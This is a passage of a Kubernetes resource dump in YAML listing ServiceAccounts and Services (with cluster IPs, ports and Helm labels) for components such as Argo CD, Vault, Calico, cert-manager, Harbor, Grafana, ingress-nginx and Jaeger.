      helm.sh/chart: redis-23.1.3
    name: redis-replica
    namespace: redis
    resourceVersion: "6769103"
    uid: c4d8b942-11ae-4455-ad99-2a6295535f4c
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    name: default
    namespace: tigera-operator
    resourceVersion: "6820842"
    uid: f13480f0-2516-4766-ae49-ebb2db662454
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-10-19T16:11:25Z"
    labels:
      k8s-app: tigera-operator
    name: tigera-operator
    namespace: tigera-operator
    resourceVersion: "6820841"
    uid: a0e25ed3-c01c-481b-9dde-8ff23f9929e1
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    creationTimestamp: "2025-09-21T20:18:48Z"
    name: default
    namespace: vault
    resourceVersion: "75725"
    uid: 171ddf64-3751-4aa1-98a2-6675376a6fb9
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault
      helm.sh/chart: vault-0.30.1
    name: vault
    namespace: vault
    resourceVersion: "265863"
    uid: 395ec2b0-fd98-456a-aacf-f15d5d583edb
- apiVersion: v1
  kind: ServiceAccount
  metadata:
    annotations:
      meta.helm.sh/release-name: vault
      meta.helm.sh/release-namespace: vault
    creationTimestamp: "2025-09-22T18:24:00Z"
    labels:
      app.kubernetes.io/instance: vault
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: vault-agent-injector
    name: vault-agent-injector
    namespace: vault
    resourceVersion: "265864"
    uid: 03cbd0dc-c731-43d1-a219-50c04ca82b12
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: applicationset-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-applicationset-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-applicationset-controller
    namespace: argocd
    resourceVersion: "74996"
    uid: dfa098aa-30aa-4879-a910-e0e2638ab466
  spec:
    clusterIP: 10.97.189.116
    clusterIPs:
    - 10.97.189.116
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http-webhook
      port: 7000
      protocol: TCP
      targetPort: webhook
    selector:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/name: argocd-applicationset-controller
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: dex-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-dex-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-dex-server
    namespace: argocd
    resourceVersion: "75011"
    uid: 08033d2e-f28c-4de4-beb7-074b33870175
  spec:
    clusterIP: 10.111.67.78
    clusterIPs:
    - 10.111.67.78
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 5556
      protocol: TCP
      targetPort: http
    - name: grpc
      port: 5557
      protocol: TCP
      targetPort: grpc
    selector:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/name: argocd-dex-server
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: redis
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-redis
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-redis
    namespace: argocd
    resourceVersion: "75016"
    uid: 994598a8-19fa-470e-8552-0fe991992c30
  spec:
    clusterIP: 10.110.110.150
    clusterIPs:
    - 10.110.110.150
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: redis
      port: 6379
      protocol: TCP
      targetPort: redis
    selector:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/name: argocd-redis
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: repo-server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-repo-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-repo-server
    namespace: argocd
    resourceVersion: "74992"
    uid: 4ba09249-bbbb-41ea-b4fb-2e6b1623d638
  spec:
    clusterIP: 10.97.254.70
    clusterIPs:
    - 10.97.254.70
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: tcp-repo-server
      port: 8081
      protocol: TCP
      targetPort: repo-server
    selector:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/name: argocd-repo-server
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:15Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-server
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-server
    namespace: argocd
    resourceVersion: "75004"
    uid: e5837363-8177-43ce-b323-4fc505728afe
  spec:
    clusterIP: 10.97.88.204
    clusterIPs:
    - 10.97.88.204
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 80
      protocol: TCP
      targetPort: 8080
    - name: https
      port: 443
      protocol: TCP
      targetPort: 8080
    selector:
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/name: argocd-server
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: artemis
      meta.helm.sh/release-namespace: artemis
    creationTimestamp: "2025-10-19T12:06:46Z"
    labels:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      helm.sh/chart: wordpress-0.14.5
    name: artemis-wordpress
    namespace: artemis
    resourceVersion: "6779350"
    uid: 76b97f11-19f4-4401-8d36-0557ca63a62f
  spec:
    clusterIP: 10.99.249.111
    clusterIPs:
    - 10.99.249.111
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 80
      protocol: TCP
      targetPort: http
    selector:
      app.kubernetes.io/instance: artemis
      app.kubernetes.io/name: wordpress
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      prometheus.io/port: "9094"
      prometheus.io/scrape: "true"
    creationTimestamp: "2025-10-19T16:12:27Z"
    labels:
      k8s-app: calico-kube-controllers
    name: calico-kube-controllers-metrics
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821146"
    uid: e42f12a4-7794-4039-afa1-8dd23666564d
  spec:
    clusterIP: None
    clusterIPs:
    - None
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: metrics-port
      port: 9094
      protocol: TCP
      targetPort: 9094
    selector:
      k8s-app: calico-kube-controllers
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    creationTimestamp: "2025-10-19T16:12:26Z"
    labels:
      k8s-app: calico-typha
    name: calico-typha
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Installation
      name: default
      uid: 63dabbe6-fe37-4e18-82da-dcd4ee115c93
    resourceVersion: "6821091"
    uid: dfd67a60-8c18-4e1c-9eed-5f7bf3cde879
  spec:
    clusterIP: 10.103.224.189
    clusterIPs:
    - 10.103.224.189
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: calico-typha
      port: 5473
      protocol: TCP
      targetPort: calico-typha
    selector:
      k8s-app: calico-typha
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    creationTimestamp: "2025-10-19T16:26:41Z"
    name: goldmane
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Goldmane
      name: default
      uid: 5994cdc7-d4c2-4413-bf3b-9967cd01464d
    resourceVersion: "6825275"
    uid: c0938c39-3406-462b-8709-0999ca0013f3
  spec:
    clusterIP: 10.110.195.55
    clusterIPs:
    - 10.110.195.55
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 7443
      protocol: TCP
      targetPort: 7443
    selector:
      k8s-app: goldmane
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    creationTimestamp: "2025-10-19T16:26:58Z"
    name: whisker
    namespace: calico-system
    ownerReferences:
    - apiVersion: operator.tigera.io/v1
      blockOwnerDeletion: true
      controller: true
      kind: Whisker
      name: default
      uid: 5f1effd2-9eab-4639-b80e-b5f40d365ef0
    resourceVersion: "6825402"
    uid: 40e2cfdc-0814-4f96-9cb5-251bafab6f26
  spec:
    clusterIP: 10.106.131.134
    clusterIPs:
    - 10.106.131.134
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 8081
      protocol: TCP
      targetPort: 8081
    selector:
      k8s-app: whisker
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cert-manager
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cert-manager
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager
    namespace: cert-manager
    resourceVersion: "220120"
    uid: 97e29cdc-c739-4380-9902-64a413ab2529
  spec:
    clusterIP: 10.101.156.66
    clusterIPs:
    - 10.101.156.66
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: tcp-prometheus-servicemonitor
      port: 9402
      protocol: TCP
      targetPort: http-metrics
    selector:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/name: cert-manager
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: cainjector
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: cainjector
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-cainjector
    namespace: cert-manager
    resourceVersion: "220111"
    uid: bf716f81-2d42-4d5a-99e6-b1ce26ac560c
  spec:
    clusterIP: 10.106.226.230
    clusterIPs:
    - 10.106.226.230
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http-metrics
      port: 9402
      protocol: TCP
      targetPort: 9402
    selector:
      app.kubernetes.io/component: cainjector
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/name: cainjector
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: cert-manager
      meta.helm.sh/release-namespace: cert-manager
    creationTimestamp: "2025-09-22T13:18:23Z"
    labels:
      app: webhook
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: webhook
      app.kubernetes.io/version: v1.18.2
      helm.sh/chart: cert-manager-v1.18.2
    name: cert-manager-webhook
    namespace: cert-manager
    resourceVersion: "220104"
    uid: 97bfd49d-3646-46b4-b345-b1b3f01eaf2c
  spec:
    clusterIP: 10.103.148.236
    clusterIPs:
    - 10.103.148.236
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: https
      port: 443
      protocol: TCP
      targetPort: https
    - name: metrics
      port: 9402
      protocol: TCP
      targetPort: http-metrics
    selector:
      app.kubernetes.io/component: webhook
      app.kubernetes.io/instance: cert-manager
      app.kubernetes.io/name: webhook
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    creationTimestamp: "2025-09-21T11:09:18Z"
    labels:
      component: apiserver
      provider: kubernetes
    name: kubernetes
    namespace: default
    resourceVersion: "240"
    uid: 85020c05-d190-4aa5-b117-65b11bb49acf
  spec:
    clusterIP: 10.96.0.1
    clusterIPs:
    - 10.96.0.1
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: https
      port: 443
      protocol: TCP
      targetPort: 6443
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: grafana
      meta.helm.sh/release-namespace: grafana
    creationTimestamp: "2025-09-21T20:37:13Z"
    labels:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: grafana
      app.kubernetes.io/version: 12.1.1
      helm.sh/chart: grafana-10.0.0
    name: grafana
    namespace: grafana
    resourceVersion: "78700"
    uid: 94f56c64-250e-4d80-b306-86509d8ec084
  spec:
    clusterIP: 10.105.36.182
    clusterIPs:
    - 10.105.36.182
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: service
      port: 80
      protocol: TCP
      targetPort: grafana
    selector:
      app.kubernetes.io/instance: grafana
      app.kubernetes.io/name: grafana
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-core
    namespace: harbor
    resourceVersion: "6777390"
    uid: a6ccff31-100b-4a00-ae90-2dac0e09193c
  spec:
    clusterIP: 10.109.95.149
    clusterIPs:
    - 10.109.95.149
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http-web
      port: 80
      protocol: TCP
      targetPort: 8080
    selector:
      app: harbor
      component: core
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-database
    namespace: harbor
    resourceVersion: "6777396"
    uid: 08645d20-b1bd-4a48-a4a1-dde0b73f2f15
  spec:
    clusterIP: 10.104.132.56
    clusterIPs:
    - 10.104.132.56
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 5432
      protocol: TCP
      targetPort: 5432
    selector:
      app: harbor
      component: database
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-jobservice
    namespace: harbor
    resourceVersion: "6777402"
    uid: 59c38efe-bfea-4d57-a208-dc308bfaae73
  spec:
    clusterIP: 10.97.225.254
    clusterIPs:
    - 10.97.225.254
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http-jobservice
      port: 80
      protocol: TCP
      targetPort: 8080
    selector:
      app: harbor
      component: jobservice
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-portal
    namespace: harbor
    resourceVersion: "6777408"
    uid: 5fe8d609-b56e-461b-95e5-9cae2c150cf0
  spec:
    clusterIP: 10.107.238.165
    clusterIPs:
    - 10.107.238.165
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 80
      protocol: TCP
      targetPort: 8080
    selector:
      app: harbor
      component: portal
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:57:59Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-redis
    namespace: harbor
    resourceVersion: "6777416"
    uid: 6747ae29-f5c3-45c2-a7d0-fba3549c3bdb
  spec:
    clusterIP: 10.103.42.145
    clusterIPs:
    - 10.103.42.145
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - port: 6379
      protocol: TCP
      targetPort: 6379
    selector:
      app: harbor
      component: redis
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-registry
    namespace: harbor
    resourceVersion: "6777421"
    uid: 2e6c0124-d8f5-473d-b905-df9ec217cc3b
  spec:
    clusterIP: 10.105.25.35
    clusterIPs:
    - 10.105.25.35
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http-registry
      port: 5000
      protocol: TCP
      targetPort: 5000
    - name: http-controller
      port: 8080
      protocol: TCP
      targetPort: 8080
    selector:
      app: harbor
      component: registry
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: harbor
      meta.helm.sh/release-namespace: harbor
    creationTimestamp: "2025-10-19T11:58:00Z"
    labels:
      app: harbor
      app.kubernetes.io/instance: harbor
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: harbor
      app.kubernetes.io/part-of: harbor
      app.kubernetes.io/version: 2.14.0
      chart: harbor
      heritage: Helm
      release: harbor
    name: harbor-trivy
    namespace: harbor
    resourceVersion: "6777427"
    uid: 67e321c6-a370-4f18-b437-68d5f867b0c9
  spec:
    clusterIP: 10.108.216.99
    clusterIPs:
    - 10.108.216.99
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http-trivy
      port: 8080
      protocol: TCP
      targetPort: 8080
    selector:
      app: harbor
      component: trivy
      release: harbor
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: hera
      meta.helm.sh/release-namespace: hera
    creationTimestamp: "2025-10-19T12:11:18Z"
    labels:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: wordpress
      app.kubernetes.io/version: 6.8.3-apache
      helm.sh/chart: wordpress-0.14.5
    name: hera-wordpress
    namespace: hera
    resourceVersion: "6780241"
    uid: 67383052-af67-4c53-b87d-d14d493c275a
  spec:
    clusterIP: 10.98.167.107
    clusterIPs:
    - 10.98.167.107
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: http
      port: 80
      protocol: TCP
      targetPort: http
    selector:
      app.kubernetes.io/instance: hera
      app.kubernetes.io/name: wordpress
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
      metallb.io/ip-allocated-from-pool: default-pool
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-controller
    namespace: ingress-nginx
    resourceVersion: "64760"
    uid: 93f7f32a-1468-4740-92cc-c3f21531a483
  spec:
    allocateLoadBalancerNodePorts: true
    clusterIP: 10.98.98.174
    clusterIPs:
    - 10.98.98.174
    externalTrafficPolicy: Cluster
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - appProtocol: http
      name: http
      nodePort: 32311
      port: 80
      protocol: TCP
      targetPort: http
    - appProtocol: https
      name: https
      nodePort: 31509
      port: 443
      protocol: TCP
      targetPort: https
    selector:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/name: ingress-nginx
    sessionAffinity: None
    type: LoadBalancer
  status:
    loadBalancer:
      ingress:
      - ip: 172.16.30.240
        ipMode: VIP
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: ingress-nginx
      meta.helm.sh/release-namespace: ingress-nginx
    creationTimestamp: "2025-09-21T19:03:27Z"
    labels:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: ingress-nginx
      app.kubernetes.io/part-of: ingress-nginx
      app.kubernetes.io/version: 1.13.2
      helm.sh/chart: ingress-nginx-4.13.2
    name: ingress-nginx-controller-admission
    namespace: ingress-nginx
    resourceVersion: "64754"
    uid: 13b22eb0-b61f-41e9-899f-b211e02baa82
  spec:
    clusterIP: 10.97.98.158
    clusterIPs:
    - 10.97.98.158
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - appProtocol: https
      name: https-webhook
      port: 443
      protocol: TCP
      targetPort: webhook
    selector:
      app.kubernetes.io/component: controller
      app.kubernetes.io/instance: ingress-nginx
      app.kubernetes.io/name: ingress-nginx
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-agent
    namespace: jaeger
    resourceVersion: "6810527"
    uid: 5d74d951-a29e-4c28-8d82-90b5fcbc65bb
  spec:
    clusterIP: 10.103.191.109
    clusterIPs:
    - 10.103.191.109
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: zipkin-compact
      port: 5775
      protocol: UDP
      targetPort: zipkin-compact
    - name: jaeger-compact
      port: 6831
      protocol: UDP
      targetPort: jaeger-compact
    - name: jaeger-binary
      port: 6832
      protocol: UDP
      targetPort: jaeger-binary
    - name: http
      port: 5778
      protocol: TCP
      targetPort: http
    - name: admin
      port: 14271
      protocol: TCP
      targetPort: admin
    selector:
      app.kubernetes.io/component: agent
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app: cassandra
      app.kubernetes.io/managed-by: Helm
      chart: cassandra-0.15.3
      heritage: Helm
      release: jaeger
    name: jaeger-cassandra
    namespace: jaeger
    resourceVersion: "6810515"
    uid: 3f8a4e53-82dc-46d6-8600-c74c81fabb98
  spec:
    clusterIP: None
    clusterIPs:
    - None
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - name: intra
      port: 7000
      protocol: TCP
      targetPort: 7000
    - name: tls
      port: 7001
      protocol: TCP
      targetPort: 7001
    - name: jmx
      port: 7199
      protocol: TCP
      targetPort: 7199
    - name: cql
      port: 9042
      protocol: TCP
      targetPort: 9042
    - name: thrift
      port: 9160
      protocol: TCP
      targetPort: 9160
    selector:
      app: cassandra
      release: jaeger
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: jaeger
      app.kubernetes.io/version: 1.53.0
      helm.sh/chart: jaeger-3.4.1
    name: jaeger-collector
    namespace: jaeger
    resourceVersion: "6810533"
    uid: b7b88733-4896-4224-9a63-9050487d694b
  spec:
    clusterIP: 10.101.61.63
    clusterIPs:
    - 10.101.61.63
    internalTrafficPolicy: Cluster
    ipFamilies:
    - IPv4
    ipFamilyPolicy: SingleStack
    ports:
    - appProtocol: grpc
      name: grpc
      port: 14250
      protocol: TCP
      targetPort: grpc
    - appProtocol: http
      name: http
      port: 14268
      protocol: TCP
      targetPort: http
    - name: admin
      port: 14269
      protocol: TCP
      targetPort: admin
    selector:
      app.kubernetes.io/component: collector
      app.kubernetes.io/instance: jaeger
      app.kubernetes.io/name: jaeger
    sessionAffinity: None
    type: ClusterIP
  status:
    loadBalancer: {}
- apiVersion: v1
  kind: Service
  metadata:
    annotations:
      meta.helm.sh/release-name: jaeger
      meta.helm.sh/release-namespace: jaeger
    creationTimestamp: "2025-10-19T15:15:43Z"
    labels:
